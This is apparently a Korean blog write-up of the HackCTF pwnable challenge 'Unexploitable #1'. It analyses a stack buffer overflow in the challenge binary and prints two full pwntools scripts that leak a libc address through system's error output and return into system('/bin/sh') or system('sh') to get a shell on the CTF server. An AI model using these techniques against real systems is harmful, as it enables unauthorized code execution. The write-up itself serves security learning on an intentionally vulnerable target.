tmxklab
[HackCTF/Pwnable] Unexploitable #1 본문
1. 문제
nc ctf.j0n9hyun.xyz 3023
1) mitigation 확인
2) 문제 확인
- system@plt는 주어졌다고 출력하면서 입력 값을 받을 수 있다.
3) 코드 흐름 확인
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+0h] [rbp-10h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
fwrite("Easy RTL ha? You even have system@plt!\n", 1uLL, 0x27uLL, stdout);
fflush(stdin);
fgets(&s, 64, stdin);
return 0;
}
- s변수[rbp-0x10]에 64bytes까지 입력받을 수 있음 → bof발생
3-2) gift()
int gift()
{
return system("use this system gadget :D");
}
2. 접근방법
bof가 발생함에 따라 ret값을 덮을 수 있으므로 RTL을 수행하기로 한다.
system@plt와 @got는 주어져 있어 바로 사용할 수 있으며 이제, "/bin/sh"문자열만 찾으면 RTL을 수행할 수 있다.
- "/bin/sh" 문자열은 libc에 존재함
- 따라서, libc base주소를 구해야 하며 base주소를 구하기 위해 leak해야한다.
1) system함수를 통해 주소 leak하는 방법
payload = [ dummy(0x18) ] + [ pop ret ] + [ fgets@got ] + [ system ]
- system함수의 인자 값에 fgets@got주소 값을 넣고 execve를 실행한 상태이다.
- 실제 fgets()의 주소 값 : 0x7f28fb28cae0 -> 근데 로컬환경에서 한거라 이 값은 안 쓸거임
- error 메시지에 fgets()의 실제 주소 값이 leak되는 것을 볼 수 있다.
- 이를 통해 libc base address를 구할 수 있고 "/bin/sh"주소 값을 얻을 수 있을 것이다.
2) system("sh")
일반적으로 system함수에 "/bin/sh"문자열의 주소 값을 찾아 인자로 넘겨줘서 쉘을 따낼 수 있었는데 "sh"문자열의 주소 값을 인자로 넘겨줘도 쉘을 따낼 수 있다. ㄷㄷㄷ;;;
3. 풀이
1) system함수를 통해 leak한 다음에 RTL 수행
1-1) fgets() leak
- fgets : 0x7f08 195f 1ad0
- 일단 fgets 실제 주소 값이 leak되는 것을 확인하였다.
libc가 주어지지 않았으므로 libc database를 이용하자
- system offset : 0x45390
- binsh offset : 0x18cd57
1-2) 익스 코드
from pwn import *
#context.log_level="debug"
#p = process("./Unexploitable_1")
p = remote("ctf.j0n9hyun.xyz", 3023)
#gdb.attach(p)
e = ELF("./Unexploitable_1")
system_addr = e.symbols['system']
main_addr = e.symbols['main']
binsh_addr = 0x6003bf
pr_addr = 0x4007d3
fgets_got = e.got['fgets']
fgets_offset = 0x6dad0
system_offset = 0x45390
binsh_offset = 0x18cd57
# 1. leak fgets()
payload = "A"*0x18
payload += p64(pr_addr)
payload += p64(fgets_got)
payload += p64(system_addr)
payload += p64(main_addr)
p.sendlineafter("\n", payload)
log.info("payload len : "+str(len(payload)))
p.recvuntil("1: ")
fgets_addr = u64(p.recv(6).ljust(8, "\x00"))
libc_base = fgets_addr - fgets_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
log.info("libs_addr : "+hex(libc_base))
log.info("fgets_addr : "+hex(fgets_addr))
log.info("system_addr : "+hex(system_addr))
log.info("binsh_addr : "+hex(binsh_addr))
# 2. rtl
payload = "A"*0x18
payload += p64(pr_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.sendlineafter("\n", payload)
p.interactive()
2) system("sh")
2-1) "sh"문자열 찾기
- PIE가 안걸려있으므로 코드 영역에 있는 0x4003bf를 사용하자
- 참고로 0x6003bf도 가능
2-2) gadget 찾기(pop ret)
$ROPgadget —binary ./Unexploitable_1|grep ret
- 3개 정도 보인다.
- 근데 3개중에 되는게 0x4007d3밖에 없음
2-3) 익스코드
from pwn import *
#context.log_level="debug"
#p = process("./Unexploitable_1")
p = remote("ctf.j0n9hyun.xyz", 3023)
#gdb.attach(p)
e = ELF("./Unexploitable_1")
system_addr = e.symbols['system']
binsh_addr = 0x4003bf
#binsh_addr = 0x6003bf
pr_addr = 0x4007d3
payload = "A"*0x18
payload += p64(pr_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)
log.info("payload len : "+str(len(payload)))
p.sendlineafter("\n", payload)
p.interactive()
3) 실행결과
4. 몰랐던 개념
1) system함수를 통해 함수 leak하는 방법
system함수가 주어졌다면 굳이 printf사용안하고 system함수의 인자에 특정 함수의 got를 넣어서 사용하면 에러 내용에 특정 함수의 주소 값을 출력하여 leak이 가능함
→ ex) system(libc.func@got)
2) system("sh")
system함수가 주어졌고 굳이 "/bin/sh"문자열의 주소를 leak하여 사용할 필요없이 "sh"문자열로도 쉘을 따낼 수 있음
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] rtc (0) | 2020.08.06 |
---|---|
[HackCTF/Pwnable] sysrop (0) | 2020.08.06 |
[HackCTF/Pwnable] ROP (0) | 2020.07.20 |
[HackCTF/Pwnable] UAF (0) | 2020.07.20 |
[HackCTF/Pwnable] you_are_silver (0) | 2020.06.30 |